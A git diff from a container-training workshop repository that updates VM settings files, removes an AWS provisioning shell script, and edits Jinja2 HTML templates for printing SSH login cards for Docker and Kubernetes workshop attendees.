# The hostname of each node will be clusterprefix + a number
|
|
||||||
clusterprefix: node
|
|
||||||
|
|
||||||
# Jinja2 template to use to generate ready-to-cut cards
|
# Jinja2 template to use to generate ready-to-cut cards
|
||||||
cards_template: cards.html
|
cards_template: kube101.html
|
||||||
|
|
||||||
# Use "Letter" in the US, and "A4" everywhere else
|
# Use "Letter" in the US, and "A4" everywhere else
|
||||||
paper_size: Letter
|
paper_size: Letter
|
||||||
|
|
||||||
|
# Feel free to reduce this if your printer can handle it
|
||||||
|
paper_margin: 0.2in
|
||||||
|
|
||||||
|
# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
|
||||||
|
# If you print (or generate a PDF) using ips.html, they will be ignored.
|
||||||
|
# (The equivalent parameters must be set from the browser's print dialog.)
|
||||||
|
|
||||||
# This can be "test" or "stable"
|
# This can be "test" or "stable"
|
||||||
engine_version: stable
|
engine_version: stable
|
||||||
|
|
||||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||||
compose_version: 1.24.1
|
compose_version: 1.21.1
|
||||||
machine_version: 0.14.0
|
machine_version: 0.14.0
|
||||||
|
|
||||||
# Password used to connect with the "docker user"
|
# Password used to connect with the "docker user"
|
||||||
docker_user_password: training
|
docker_user_password: training
|
||||||
|
|
||||||
@@ -3,20 +3,24 @@
|
|||||||
# Number of VMs per cluster
|
# Number of VMs per cluster
|
||||||
clustersize: 3
|
clustersize: 3
|
||||||
|
|
||||||
# The hostname of each node will be clusterprefix + a number
|
|
||||||
clusterprefix: node
|
|
||||||
|
|
||||||
# Jinja2 template to use to generate ready-to-cut cards
|
# Jinja2 template to use to generate ready-to-cut cards
|
||||||
cards_template: cards.html
|
cards_template: cards.html
|
||||||
|
|
||||||
# Use "Letter" in the US, and "A4" everywhere else
|
# Use "Letter" in the US, and "A4" everywhere else
|
||||||
paper_size: Letter
|
paper_size: Letter
|
||||||
|
|
||||||
|
# Feel free to reduce this if your printer can handle it
|
||||||
|
paper_margin: 0.2in
|
||||||
|
|
||||||
|
# Note: paper_size and paper_margin only apply to PDF generated with pdfkit.
|
||||||
|
# If you print (or generate a PDF) using ips.html, they will be ignored.
|
||||||
|
# (The equivalent parameters must be set from the browser's print dialog.)
|
||||||
|
|
||||||
# This can be "test" or "stable"
|
# This can be "test" or "stable"
|
||||||
engine_version: stable
|
engine_version: stable
|
||||||
|
|
||||||
# These correspond to the version numbers visible on their respective GitHub release pages
|
# These correspond to the version numbers visible on their respective GitHub release pages
|
||||||
compose_version: 1.24.1
|
compose_version: 1.22.0
|
||||||
machine_version: 0.15.0
|
machine_version: 0.15.0
|
||||||
|
|
||||||
# Password used to connect with the "docker user"
|
# Password used to connect with the "docker user"
|
||||||
|
|||||||
@@ -1,80 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
set -e
|
|
||||||
|
|
||||||
retry () {
|
|
||||||
N=$1
|
|
||||||
I=0
|
|
||||||
shift
|
|
||||||
|
|
||||||
while ! "$@"; do
|
|
||||||
I=$(($I+1))
|
|
||||||
if [ $I -gt $N ]; then
|
|
||||||
echo "FAILED, ABORTING"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
echo "FAILED, RETRYING ($I/$N)"
|
|
||||||
done
|
|
||||||
}
|
|
||||||
|
|
||||||
export AWS_INSTANCE_TYPE=t3a.small
|
|
||||||
|
|
||||||
INFRA=infra/aws-eu-west-3
|
|
||||||
|
|
||||||
STUDENTS=2
|
|
||||||
|
|
||||||
PREFIX=$(date +%Y-%m-%d-%H-%M)
|
|
||||||
|
|
||||||
SETTINGS=admin-dmuc
|
|
||||||
TAG=$PREFIX-$SETTINGS
|
|
||||||
./workshopctl start \
|
|
||||||
--tag $TAG \
|
|
||||||
--infra $INFRA \
|
|
||||||
--settings settings/$SETTINGS.yaml \
|
|
||||||
--count $STUDENTS
|
|
||||||
|
|
||||||
retry 5 ./workshopctl deploy $TAG
|
|
||||||
retry 5 ./workshopctl disabledocker $TAG
|
|
||||||
retry 5 ./workshopctl kubebins $TAG
|
|
||||||
./workshopctl cards $TAG
|
|
||||||
|
|
||||||
SETTINGS=admin-kubenet
|
|
||||||
TAG=$PREFIX-$SETTINGS
|
|
||||||
./workshopctl start \
|
|
||||||
--tag $TAG \
|
|
||||||
--infra $INFRA \
|
|
||||||
--settings settings/$SETTINGS.yaml \
|
|
||||||
--count $((3*$STUDENTS))
|
|
||||||
|
|
||||||
retry 5 ./workshopctl disableaddrchecks $TAG
|
|
||||||
retry 5 ./workshopctl deploy $TAG
|
|
||||||
retry 5 ./workshopctl kubebins $TAG
|
|
||||||
./workshopctl cards $TAG
|
|
||||||
|
|
||||||
SETTINGS=admin-kuberouter
|
|
||||||
TAG=$PREFIX-$SETTINGS
|
|
||||||
./workshopctl start \
|
|
||||||
--tag $TAG \
|
|
||||||
--infra $INFRA \
|
|
||||||
--settings settings/$SETTINGS.yaml \
|
|
||||||
--count $((3*$STUDENTS))
|
|
||||||
|
|
||||||
retry 5 ./workshopctl disableaddrchecks $TAG
|
|
||||||
retry 5 ./workshopctl deploy $TAG
|
|
||||||
retry 5 ./workshopctl kubebins $TAG
|
|
||||||
./workshopctl cards $TAG
|
|
||||||
|
|
||||||
#INFRA=infra/aws-us-west-1
|
|
||||||
|
|
||||||
export AWS_INSTANCE_TYPE=t3a.medium
|
|
||||||
|
|
||||||
SETTINGS=admin-test
|
|
||||||
TAG=$PREFIX-$SETTINGS
|
|
||||||
./workshopctl start \
|
|
||||||
--tag $TAG \
|
|
||||||
--infra $INFRA \
|
|
||||||
--settings settings/$SETTINGS.yaml \
|
|
||||||
--count $((3*$STUDENTS))
|
|
||||||
|
|
||||||
retry 5 ./workshopctl deploy $TAG
|
|
||||||
retry 5 ./workshopctl kube $TAG 1.15.9
|
|
||||||
./workshopctl cards $TAG
|
|
||||||
@@ -1,129 +1,29 @@
|
|||||||
{#
|
{# Feel free to customize or override anything in there! #}
|
||||||
The variables below can be customized here directly, or in your
|
{%- set url = "http://container.training/" -%}
|
||||||
settings.yaml file. Any variable in settings.yaml will be exposed
|
{%- set pagesize = 12 -%}
|
||||||
in here as well.
|
{%- if clustersize == 1 -%}
|
||||||
#}
|
{%- set workshop_name = "Docker workshop" -%}
|
||||||
|
{%- set cluster_or_machine = "machine" -%}
|
||||||
{%- set url = url
|
{%- set this_or_each = "this" -%}
|
||||||
| default("http://FIXME.container.training/") -%}
|
{%- set machine_is_or_machines_are = "machine is" -%}
|
||||||
{%- set pagesize = pagesize
|
{%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
|
||||||
| default(9) -%}
|
{%- else -%}
|
||||||
{%- set lang = lang
|
{%- set workshop_name = "orchestration workshop" -%}
|
||||||
| default("en") -%}
|
{%- set cluster_or_machine = "cluster" -%}
|
||||||
{%- set event = event
|
{%- set this_or_each = "each" -%}
|
||||||
| default("training session") -%}
|
{%- set machine_is_or_machines_are = "machines are" -%}
|
||||||
{%- set backside = backside
|
{%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
|
||||||
| default(False) -%}
|
{%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
|
||||||
{%- set image = image
|
{%- set image_src = image_src_swarm -%}
|
||||||
| default("kube") -%}
|
|
||||||
{%- set clusternumber = clusternumber
|
|
||||||
| default(None) -%}
|
|
||||||
{%- if qrcode == True -%}
|
|
||||||
{%- set qrcode = "https://container.training/q" -%}
|
|
||||||
{%- elif qrcode -%}
|
|
||||||
{%- set qrcode = qrcode -%}
|
|
||||||
{%- endif -%}
|
|
||||||
|
|
||||||
{# You can also set img_bottom_src instead. #}
|
|
||||||
{%- set img_logo_src = {
|
|
||||||
"docker": "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png",
|
|
||||||
"swarm": "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png",
|
|
||||||
"kube": "https://avatars1.githubusercontent.com/u/13629408",
|
|
||||||
"enix": "https://enix.io/static/img/logos/logo-domain-cropped.png",
|
|
||||||
}[image] -%}
|
|
||||||
{%- if lang == "en" and clustersize == 1 -%}
|
|
||||||
{%- set intro -%}
|
|
||||||
Here is the connection information to your very own
|
|
||||||
machine for this {{ event }}.
|
|
||||||
You can connect to this VM with any SSH client.
|
|
||||||
{%- endset -%}
|
|
||||||
{%- set listhead -%}
|
|
||||||
Your machine is:
|
|
||||||
{%- endset -%}
|
|
||||||
{%- endif -%}
|
|
||||||
{%- if lang == "en" and clustersize != 1 -%}
|
|
||||||
{%- set intro -%}
|
|
||||||
Here is the connection information to your very own
|
|
||||||
cluster for this {{ event }}.
|
|
||||||
You can connect to each VM with any SSH client.
|
|
||||||
{%- endset -%}
|
|
||||||
{%- set listhead -%}
|
|
||||||
Your machines are:
|
|
||||||
{%- endset -%}
|
|
||||||
{%- endif -%}
|
|
||||||
{%- if lang == "fr" and clustersize == 1 -%}
|
|
||||||
{%- set intro -%}
|
|
||||||
Voici les informations permettant de se connecter à votre
|
|
||||||
machine pour cette formation.
|
|
||||||
Vous pouvez vous connecter à cette machine virtuelle
|
|
||||||
avec n'importe quel client SSH.
|
|
||||||
{%- endset -%}
|
|
||||||
{%- set listhead -%}
|
|
||||||
Adresse IP:
|
|
||||||
{%- endset -%}
|
|
||||||
{%- endif -%}
|
|
||||||
{%- if lang == "en" and clusterprefix != "node" -%}
|
|
||||||
{%- set intro -%}
|
|
||||||
Here is the connection information for the
|
|
||||||
<strong>{{ clusterprefix }}</strong> environment.
|
|
||||||
{%- endset -%}
|
|
||||||
{%- endif -%}
|
|
||||||
{%- if lang == "fr" and clustersize != 1 -%}
|
|
||||||
{%- set intro -%}
|
|
||||||
Voici les informations permettant de se connecter à votre
|
|
||||||
cluster pour cette formation.
|
|
||||||
Vous pouvez vous connecter à chaque machine virtuelle
|
|
||||||
avec n'importe quel client SSH.
|
|
||||||
{%- endset -%}
|
|
||||||
{%- set listhead -%}
|
|
||||||
Adresses IP:
|
|
||||||
{%- endset -%}
|
|
||||||
{%- endif -%}
|
|
||||||
{%- if lang == "en" -%}
|
|
||||||
{%- set slides_are_at -%}
|
|
||||||
You can find the slides at:
|
|
||||||
{%- endset -%}
|
|
||||||
{%- endif -%}
|
|
||||||
{%- if lang == "fr" -%}
|
|
||||||
{%- set slides_are_at -%}
|
|
||||||
Le support de formation est à l'adresse suivante :
|
|
||||||
{%- endset -%}
|
|
||||||
{%- endif -%}
|
{%- endif -%}
|
||||||
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head><style>
|
||||||
<style>
|
|
||||||
@import url('https://fonts.googleapis.com/css?family=Slabo+27px');
|
|
||||||
|
|
||||||
{% if paper_size == "A4" %}
|
|
||||||
@page {
|
|
||||||
size: A4; /* Change from the default size of A4 */
|
|
||||||
margin: 0.5cm; /* Set margin on each page */
|
|
||||||
}
|
|
||||||
body {
|
|
||||||
/* this is A4 minus 0.5cm margins */
|
|
||||||
width: 20cm;
|
|
||||||
height: 28.7cm;
|
|
||||||
}
|
|
||||||
{% elif paper_size == "Letter" %}
|
|
||||||
@page {
|
|
||||||
size: Letter;
|
|
||||||
margin: 0.2in;
|
|
||||||
}
|
|
||||||
body {
|
|
||||||
/* this is Letter minus 0.2in margins */
|
|
||||||
width: 8.6in;
|
|
||||||
heigth: 10.6in;
|
|
||||||
}
|
|
||||||
{% endif %}
|
|
||||||
|
|
||||||
|
|
||||||
body, table {
|
body, table {
|
||||||
margin: 0;
|
margin: 0;
|
||||||
padding: 0;
|
padding: 0;
|
||||||
line-height: 1em;
|
line-height: 1em;
|
||||||
font-size: 15px;
|
font-size: 14px;
|
||||||
font-family: 'Slabo 27px';
|
|
||||||
}
|
}
|
||||||
|
|
||||||
table {
|
table {
|
||||||
@@ -137,44 +37,22 @@ table {
|
|||||||
div {
|
div {
|
||||||
float: left;
|
float: left;
|
||||||
border: 1px dotted black;
|
border: 1px dotted black;
|
||||||
{% if backside %}
|
padding-top: 1%;
|
||||||
height: 33%;
|
padding-bottom: 1%;
|
||||||
{% endif %}
|
|
||||||
/* columns * (width+left+right) < 100% */
|
/* columns * (width+left+right) < 100% */
|
||||||
/*
|
width: 21.5%;
|
||||||
width: 24.8%;
|
padding-left: 1.5%;
|
||||||
*/
|
padding-right: 1.5%;
|
||||||
/**/
|
|
||||||
width: 33%;
|
|
||||||
/**/
|
|
||||||
}
|
}
|
||||||
|
|
||||||
p {
|
p {
|
||||||
margin: 0.8em;
|
margin: 0.4em 0 0.4em 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
div.back {
|
img {
|
||||||
border: 1px dotted grey;
|
height: 4em;
|
||||||
}
|
|
||||||
|
|
||||||
span.scale {
|
|
||||||
white-space: nowrap;
|
|
||||||
}
|
|
||||||
|
|
||||||
img.logo {
|
|
||||||
height: 4.5em;
|
|
||||||
float: right;
|
float: right;
|
||||||
}
|
margin-right: -0.4em;
|
||||||
|
|
||||||
img.bottom {
|
|
||||||
height: 2.5em;
|
|
||||||
display: block;
|
|
||||||
margin: 0.5em auto;
|
|
||||||
}
|
|
||||||
|
|
||||||
.qrcode img {
|
|
||||||
width: 40%;
|
|
||||||
margin: 1em;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
.logpass {
|
.logpass {
|
||||||
@@ -186,49 +64,24 @@ img.bottom {
|
|||||||
page-break-after: always;
|
page-break-after: always;
|
||||||
clear: both;
|
clear: both;
|
||||||
display: block;
|
display: block;
|
||||||
height: 0;
|
height: 8px;
|
||||||
}
|
}
|
||||||
</style>
|
</style></head>
|
||||||
<script type="text/javascript" src="https://cdn.rawgit.com/davidshimjs/qrcodejs/gh-pages/qrcode.min.js"></script>
|
<body>
|
||||||
<script type="text/javascript">
|
|
||||||
function qrcodes() {
|
|
||||||
[].forEach.call(
|
|
||||||
document.getElementsByClassName("qrcode"),
|
|
||||||
(e, index) => {
|
|
||||||
new QRCode(e, {
|
|
||||||
text: "{{ qrcode }}",
|
|
||||||
correctLevel: QRCode.CorrectLevel.L
|
|
||||||
});
|
|
||||||
}
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
function scale() {
|
|
||||||
[].forEach.call(
|
|
||||||
document.getElementsByClassName("scale"),
|
|
||||||
(e, index) => {
|
|
||||||
var text_width = e.getBoundingClientRect().width;
|
|
||||||
var box_width = e.parentElement.getBoundingClientRect().width;
|
|
||||||
var percent = 100 * box_width / text_width + "%";
|
|
||||||
e.style.fontSize = percent;
|
|
||||||
}
|
|
||||||
);
|
|
||||||
}
|
|
||||||
</script>
|
|
||||||
</head>
|
|
||||||
<body onload="qrcodes(); scale();">
|
|
||||||
{% for cluster in clusters %}
|
{% for cluster in clusters %}
|
||||||
|
{% if loop.index0>0 and loop.index0%pagesize==0 %}
|
||||||
|
<span class="pagebreak"></span>
|
||||||
|
{% endif %}
|
||||||
<div>
|
<div>
|
||||||
<p>{{ intro }}</p>
|
|
||||||
<p>
|
<p>
|
||||||
{% if img_logo_src %}
|
Here is the connection information to your very own
|
||||||
<img class="logo" src="{{ img_logo_src }}" />
|
{{ cluster_or_machine }} for this {{ workshop_name }}.
|
||||||
{% endif %}
|
You can connect to {{ this_or_each }} VM with any SSH client.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
<img src="{{ image_src }}" />
|
||||||
<table>
|
<table>
|
||||||
{% if clusternumber != None %}
|
|
||||||
<tr><td>cluster:</td></tr>
|
|
||||||
<tr><td class="logpass">{{ clusternumber + loop.index }}</td></tr>
|
|
||||||
{% endif %}
|
|
||||||
<tr><td>login:</td></tr>
|
<tr><td>login:</td></tr>
|
||||||
<tr><td class="logpass">docker</td></tr>
|
<tr><td class="logpass">docker</td></tr>
|
||||||
<tr><td>password:</td></tr>
|
<tr><td>password:</td></tr>
|
||||||
@@ -237,54 +90,17 @@ function scale() {
|
|||||||
|
|
||||||
</p>
|
</p>
|
||||||
<p>
|
<p>
|
||||||
{{ listhead }}
|
Your {{ machine_is_or_machines_are }}:
|
||||||
<table>
|
<table>
|
||||||
{% for node in cluster %}
|
{% for node in cluster %}
|
||||||
<tr>
|
<tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
|
||||||
<td>{{ clusterprefix }}{{ loop.index }}:</td>
|
|
||||||
<td>{{ node }}</td>
|
|
||||||
</tr>
|
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
</table>
|
</table>
|
||||||
</p>
|
</p>
|
||||||
|
<p>You can find the slides at:
|
||||||
<p>
|
<center>{{ url }}</center>
|
||||||
{% if url %}
|
|
||||||
{{ slides_are_at }}
|
|
||||||
<p>
|
|
||||||
<span class="scale">{{ url }}</span>
|
|
||||||
</p>
|
|
||||||
{% endif %}
|
|
||||||
{% if img_bottom_src %}
|
|
||||||
<img class="bottom" src="{{ img_bottom_src }}" />
|
|
||||||
{% endif %}
|
|
||||||
</p>
|
</p>
|
||||||
</div>
|
</div>
|
||||||
{% if loop.index%pagesize==0 or loop.last %}
|
|
||||||
<span class="pagebreak"></span>
|
|
||||||
{% if backside %}
|
|
||||||
{% for x in range(pagesize) %}
|
|
||||||
<div class="back">
|
|
||||||
<p>Thanks for attending
|
|
||||||
"Getting Started With Kubernetes and Container Orchestration"
|
|
||||||
during CONFERENCE in Month YYYY!</p>
|
|
||||||
<p>If you liked that workshop,
|
|
||||||
I can train your team, in person or
|
|
||||||
online, with custom courses of
|
|
||||||
any length and any level.
|
|
||||||
</p>
|
|
||||||
{% if qrcode %}
|
|
||||||
<p>If you're interested, please scan that QR code to contact me:</p>
|
|
||||||
<span class="qrcode"></span>
|
|
||||||
{% else %}
|
|
||||||
<p>If you're interested, you can contact me at:</p>
|
|
||||||
{% endif %}
|
|
||||||
<p>jerome.petazzoni@gmail.com</p>
|
|
||||||
</div>
|
|
||||||
{% endfor %}
|
|
||||||
<span class="pagebreak"></span>
|
|
||||||
{% endif %}
|
|
||||||
{% endif %}
|
|
||||||
{% endfor %}
|
{% endfor %}
|
||||||
</body>
|
</body>
|
||||||
</html>
|
</html>
|
||||||
|
|||||||
117
prepare-vms/templates/enix.html
Normal file
117
prepare-vms/templates/enix.html
Normal file
@@ -0,0 +1,117 @@
|
|||||||
|
{# Feel free to customize or override anything in there! #}
|
||||||
|
{%- set url = "http://septembre2018.container.training" -%}
|
||||||
|
{%- set pagesize = 9 -%}
|
||||||
|
{%- if clustersize == 1 -%}
|
||||||
|
{%- set workshop_name = "Docker workshop" -%}
|
||||||
|
{%- set cluster_or_machine = "machine" -%}
|
||||||
|
{%- set this_or_each = "this" -%}
|
||||||
|
{%- set machine_is_or_machines_are = "machine is" -%}
|
||||||
|
{%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
|
||||||
|
{%- else -%}
|
||||||
|
{%- set workshop_name = "Kubernetes workshop" -%}
|
||||||
|
{%- set cluster_or_machine = "cluster" -%}
|
||||||
|
{%- set this_or_each = "each" -%}
|
||||||
|
{%- set machine_is_or_machines_are = "machines are" -%}
|
||||||
|
{%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
|
||||||
|
{%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
|
||||||
|
{%- set image_src = image_src_kube -%}
|
||||||
|
{%- endif -%}
|
||||||
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
||||||
|
<html>
|
||||||
|
<head><style>
|
||||||
|
body, table {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
line-height: 1em;
|
||||||
|
font-size: 14px;
|
||||||
|
}
|
||||||
|
|
||||||
|
table {
|
||||||
|
border-spacing: 0;
|
||||||
|
margin-top: 0.4em;
|
||||||
|
margin-bottom: 0.4em;
|
||||||
|
border-left: 0.8em double grey;
|
||||||
|
padding-left: 0.4em;
|
||||||
|
}
|
||||||
|
|
||||||
|
div {
|
||||||
|
float: left;
|
||||||
|
border: 1px dotted black;
|
||||||
|
padding-top: 1%;
|
||||||
|
padding-bottom: 1%;
|
||||||
|
/* columns * (width+left+right) < 100% */
|
||||||
|
width: 30%;
|
||||||
|
padding-left: 1.5%;
|
||||||
|
padding-right: 1.5%;
|
||||||
|
}
|
||||||
|
|
||||||
|
p {
|
||||||
|
margin: 0.4em 0 0.4em 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
img {
|
||||||
|
height: 4em;
|
||||||
|
float: right;
|
||||||
|
margin-right: -0.3em;
|
||||||
|
}
|
||||||
|
|
||||||
|
img.enix {
|
||||||
|
height: 4.5em;
|
||||||
|
margin-top: 0.2em;
|
||||||
|
}
|
||||||
|
|
||||||
|
img.kube {
|
||||||
|
height: 4.2em;
|
||||||
|
margin-top: 1.7em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logpass {
|
||||||
|
font-family: monospace;
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
.pagebreak {
|
||||||
|
page-break-after: always;
|
||||||
|
clear: both;
|
||||||
|
display: block;
|
||||||
|
height: 8px;
|
||||||
|
}
|
||||||
|
</style></head>
|
||||||
|
<body>
|
||||||
|
{% for cluster in clusters %}
|
||||||
|
{% if loop.index0>0 and loop.index0%pagesize==0 %}
|
||||||
|
<span class="pagebreak"></span>
|
||||||
|
{% endif %}
|
||||||
|
<div>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
Voici les informations permettant de se connecter à votre
|
||||||
|
cluster pour cette formation. Vous pouvez vous connecter
|
||||||
|
à ces machines virtuelles avec n'importe quel client SSH.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
<img class="enix" src="https://enix.io/static/img/logos/logo-domain-cropped.png" />
|
||||||
|
<table>
|
||||||
|
<tr><td>identifiant:</td></tr>
|
||||||
|
<tr><td class="logpass">docker</td></tr>
|
||||||
|
<tr><td>mot de passe:</td></tr>
|
||||||
|
<tr><td class="logpass">{{ docker_user_password }}</td></tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
Vos serveurs sont :
|
||||||
|
<img class="kube" src="{{ image_src }}" />
|
||||||
|
<table>
|
||||||
|
{% for node in cluster %}
|
||||||
|
<tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
|
||||||
|
{% endfor %}
|
||||||
|
</table>
|
||||||
|
</p>
|
||||||
|
<p>Le support de formation est à l'adresse suivante :
|
||||||
|
<center>{{ url }}</center>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
{% endfor %}
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
131
prepare-vms/templates/jerome.html
Normal file
131
prepare-vms/templates/jerome.html
Normal file
@@ -0,0 +1,131 @@
|
|||||||
|
{# Feel free to customize or override anything in there! #}
|
||||||
|
{%- set url = "http://qconsf2018.container.training/" -%}
|
||||||
|
{%- set pagesize = 9 -%}
|
||||||
|
{%- if clustersize == 1 -%}
|
||||||
|
{%- set workshop_name = "Docker workshop" -%}
|
||||||
|
{%- set cluster_or_machine = "machine" -%}
|
||||||
|
{%- set this_or_each = "this" -%}
|
||||||
|
{%- set machine_is_or_machines_are = "machine is" -%}
|
||||||
|
{%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
|
||||||
|
{%- else -%}
|
||||||
|
{%- set workshop_name = "Kubernetes workshop" -%}
|
||||||
|
{%- set cluster_or_machine = "cluster" -%}
|
||||||
|
{%- set this_or_each = "each" -%}
|
||||||
|
{%- set machine_is_or_machines_are = "machines are" -%}
|
||||||
|
{%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
|
||||||
|
{%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
|
||||||
|
{%- set image_src = image_src_kube -%}
|
||||||
|
{%- endif -%}
|
||||||
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
||||||
|
<html>
|
||||||
|
<head><style>
|
||||||
|
@import url('https://fonts.googleapis.com/css?family=Slabo+27px');
|
||||||
|
body, table {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
line-height: 1.0em;
|
||||||
|
font-size: 15px;
|
||||||
|
font-family: 'Slabo 27px';
|
||||||
|
}
|
||||||
|
|
||||||
|
table {
|
||||||
|
border-spacing: 0;
|
||||||
|
margin-top: 0.4em;
|
||||||
|
margin-bottom: 0.4em;
|
||||||
|
border-left: 0.8em double grey;
|
||||||
|
padding-left: 0.4em;
|
||||||
|
}
|
||||||
|
|
||||||
|
div {
|
||||||
|
float: left;
|
||||||
|
border: 1px dotted black;
|
||||||
|
height: 31%;
|
||||||
|
padding-top: 1%;
|
||||||
|
padding-bottom: 1%;
|
||||||
|
/* columns * (width+left+right) < 100% */
|
||||||
|
width: 30%;
|
||||||
|
padding-left: 1.5%;
|
||||||
|
padding-right: 1.5%;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.back {
|
||||||
|
border: 1px dotted white;
|
||||||
|
}
|
||||||
|
|
||||||
|
div.back p {
|
||||||
|
margin: 0.5em 1em 0 1em;
|
||||||
|
}
|
||||||
|
|
||||||
|
p {
|
||||||
|
margin: 0.4em 0 0.8em 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
img {
|
||||||
|
height: 5em;
|
||||||
|
float: right;
|
||||||
|
margin-right: 1em;
|
||||||
|
}
|
||||||
|
|
||||||
|
.logpass {
|
||||||
|
font-family: monospace;
|
||||||
|
font-weight: bold;
|
||||||
|
}
|
||||||
|
|
||||||
|
.pagebreak {
|
||||||
|
page-break-after: always;
|
||||||
|
clear: both;
|
||||||
|
display: block;
|
||||||
|
height: 8px;
|
||||||
|
}
|
||||||
|
</style></head>
|
||||||
|
<body>
|
||||||
|
{% for cluster in clusters %}
|
||||||
|
<div>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
Here is the connection information to your very own
|
||||||
|
{{ cluster_or_machine }} for this {{ workshop_name }}.
|
||||||
|
You can connect to {{ this_or_each }} VM with any SSH client.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
<img src="{{ image_src }}" />
|
||||||
|
<table>
|
||||||
|
<tr><td>login:</td></tr>
|
||||||
|
<tr><td class="logpass">docker</td></tr>
|
||||||
|
<tr><td>password:</td></tr>
|
||||||
|
<tr><td class="logpass">{{ docker_user_password }}</td></tr>
|
||||||
|
</table>
|
||||||
|
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
Your {{ machine_is_or_machines_are }}:
|
||||||
|
<table>
|
||||||
|
{% for node in cluster %}
|
||||||
|
<tr><td>node{{ loop.index }}:</td><td>{{ node }}</td></tr>
|
||||||
|
{% endfor %}
|
||||||
|
</table>
|
||||||
|
</p>
|
||||||
|
<p>You can find the slides at:
|
||||||
|
<center>{{ url }}</center>
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
{% if loop.index%pagesize==0 or loop.last %}
|
||||||
|
<span class="pagebreak"></span>
|
||||||
|
{% for x in range(pagesize) %}
|
||||||
|
<div class="back">
|
||||||
|
<br/>
|
||||||
|
<p>You got this card at the workshop "Getting Started With Kubernetes and Container Orchestration"
|
||||||
|
during QCON San Francisco (November 2018).</p>
|
||||||
|
<p>That workshop was a 1-day version of a longer curriculum.</p>
|
||||||
|
<p>If you liked that workshop, the instructor (Jérôme Petazzoni) can deliver it
|
||||||
|
(or the longer version) to your team or organization.</p>
|
||||||
|
<p>You can reach him at:</p>
|
||||||
|
<p>jerome.petazzoni@gmail.com</p>
|
||||||
|
<p>Thank you!</p>
|
||||||
|
</div>
|
||||||
|
{% endfor %}
|
||||||
|
<span class="pagebreak"></span>
|
||||||
|
{% endif %}
|
||||||
|
{% endfor %}
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
106
prepare-vms/templates/kube101.html
Normal file
106
prepare-vms/templates/kube101.html
Normal file
@@ -0,0 +1,106 @@
|
|||||||
|
{# Feel free to customize or override anything in there! #}
|
||||||
|
{%- set url = "http://container.training/" -%}
|
||||||
|
{%- set pagesize = 12 -%}
|
||||||
|
{%- if clustersize == 1 -%}
|
||||||
|
{%- set workshop_name = "Docker workshop" -%}
|
||||||
|
{%- set cluster_or_machine = "machine" -%}
|
||||||
|
{%- set this_or_each = "this" -%}
|
||||||
|
{%- set machine_is_or_machines_are = "machine is" -%}
|
||||||
|
{%- set image_src = "https://s3-us-west-2.amazonaws.com/www.breadware.com/integrations/docker.png" -%}
|
||||||
|
{%- else -%}
|
||||||
|
{%- set workshop_name = "Kubernetes workshop" -%}
|
||||||
|
{%- set cluster_or_machine = "cluster" -%}
|
||||||
|
{%- set this_or_each = "each" -%}
|
||||||
|
{%- set machine_is_or_machines_are = "machines are" -%}
|
||||||
|
{%- set image_src_swarm = "https://cdn.wp.nginx.com/wp-content/uploads/2016/07/docker-swarm-hero2.png" -%}
|
||||||
|
{%- set image_src_kube = "https://avatars1.githubusercontent.com/u/13629408" -%}
|
||||||
|
{%- set image_src = image_src_kube -%}
|
||||||
|
{%- endif -%}
|
||||||
|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
|
||||||
|
<html>
|
||||||
|
<head><style>
|
||||||
|
body, table {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
line-height: 1em;
|
||||||
|
font-size: 14px;
|
||||||
|
}
|
||||||
|
